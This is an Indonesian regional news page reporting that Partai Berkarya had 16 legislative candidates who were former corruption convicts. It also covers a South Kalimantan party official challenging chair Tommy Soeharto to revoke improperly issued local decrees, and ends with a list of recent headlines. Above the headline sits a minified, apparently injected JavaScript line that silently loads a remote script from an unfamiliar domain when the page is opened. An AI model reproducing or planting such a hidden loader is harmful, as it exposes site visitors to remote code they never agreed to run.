(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

SK Berkarya ‘Bermasalah’ di Kalsel, Ichal Tantang Tommy Soeharto


JAKARTA, Ketua DPP Berkarya Badaruddin Andi Picunang mengakui, partainya kecolongan akan bakal calon legislatif (Bacaleg) yang berlatar belakang mantan narapidana kasus korupsi. Hal tersebut Badaruddin ungkapkan menanggapi rilis yang dikeluarkan Bawaslu bahwa bacaleg dari Partai Berkarya menyumbang mantan napi korupsi dengan 16 caleg.

“Kebetulan kita kecolongan. Jauh sebelumnya kita sudah sampaikan ke pimpinan di provinsi kabupaten/kota untuk tidak mencalonkan mantan napi tipikor sesuai dengan Peraturan KPU,” ujar Badaruddin saat ditemui di Kantor KPU, Jakarta, Jumat (27/7) malam, seperti dilansir Kompas.com.

Badaruddin menuturkan, dalam peraturan organisasi Partai Berkarya soal pencalegan internal sudah tegas mengharamkan Bacaleg yang terindikasi sebagai mantan koruptor. “PKPU dijadikan selaku syarat bagi caleg kita di-internal dalam bentuk aturan organisasi. Mungkin beberapa pengurus kita tidak memahami itu sehingga menerima saja berkas-berkas,” tutur dia. “Di internal kami bahkan tidak tahu bahwa ada mantan napi korupsi, tapi oleh publik masyarakat di daerah kan kecil lingkupnya bisa ketahuan soal nama-nama itu di publish ternyata teman-teman media atau masyarakat tahu,” sambung Badaruddin.

Lebih lanjut, kata Badaruddin, saat ini pihaknya dalam tahapan perbaikan membersihkan caleg-caleg mantan napi korupsi. Partai Berkarya juga siap mengganti 16 calegnya yang merupakan eks koruptor tersebut. Data ini merupakan Bacaleg untuk tingkat provinsi serta kota/kabupaten. Kami segera memerintahkan pimpinan (partai Berkarya) di provinsi maupun kabupaten atau kota untuk mencari pengganti nama-nama tersebut,” kata dia.

Sebelumnya, Badan Pengawas Pemilu (Bawaslu) menemukan 199 bakal caleg eks koruptor, 16 orang diantaranya dari Partai Berkarya.

Ketua Umum Partai Berkarya Tommy Soeharto akan melakukan evaluasi dalam tubuh partai terkait temuan Bawaslu itu.

“Itu kita akan evaluasi,” kata Tommy Soeharto saat ditemui dalam acara Ijtimak Ulama dan Tokoh Nasional di Menara Peninsula, Jakarta Barat, Jumat (27/7), dinukil dari detik.com.

Wakil Ketua DPW Partai Berkarya Kalsel A Fakhrizal Harudiansyah. Foto : ichal for kanal kalimantan

Tommy menegaskan akan mengganti caleg eks koruptor dari Partai Berkarya jika memang dilarang maju. Dia tak akan memaksakan sesuatu yang dilarang dalam aturan pencalegan. “Ya kalau memang nggak boleh, pasti akan diganti. Masak dipaksakan,” tegas Tommy.

Nah, terkait indikasi adanya 16 nama Bacaleg Partai Berkarya dari eks koruptor itu, kepada Kanal Kalimantan, Wakil Ketua DPW Partai Berkarya Provinsi Kalimantan Selatan A Fakhrizal Harudiansyah menantang balik Ketua Umum Partai Berkarya  Hutomo Mandala Putra (HMP) alias Tommy Soeharto untuk benar-benar tegas dan komitmen membersihkan partai dari Bacaleg-Bacaleg yang terindikasi eks koruptor  tersebut.

“Jika HMP bersih-bersih dari Caleg koruptor, HMP juga harus berani cabut SK-SK yang tidak sesuai prosedur. Selain SK DPW Kalsel yang cacat hukum juga ada beberapa daerah yang SK-nya tidak sesuai mekanisme partai, diantaranya Kota Banjarbaru dan Kabupaten Banjar,” ujar Ichal -biasa disapa-, dijumpai Kanal Kalimantan, Sabtu (28/7) di Banjarmasin.

Sekadar diketahui, penerbitan SK-SK ‘Bermasalah’ di tubuh Partai Berkarya di Provinsi Kalsel, menurut Ichal, keluar tanpa ada alias tidak ada Rapimda (Rapat Pimpinan Daerah) dan surat tertulis dan DPP Partai Berkarya, SK diteken oleh DPW.

“Seharusnya DPP mencabut dulu SK terdahulu, karena SK terdahulu diterbitkan DPP. Disinilah maksud dari AD/ART yaitu pergantian kepengurusan daerah harus ada persetujuan DPP,” beber Ichal.

“Sebab itu saya menantang Ketua Umum Partai Berkarya Tommy Soeharto untuk bersih-bersih, kembalikan kepada mekanisme yang diamanatkan AD/ART. Jika tidak sangat berbahaya jika ada gugatan ke Pengadilan Negeri Jakarta Selatan, maupun Pengadilan Negeri di Kabupaten Banjar dan Banjarbaru,” tegas kader Partai Berkarya Provinsi Kalsel ini. (bie/net)

Reporter : Bie/net
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

9 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

12 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

16 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.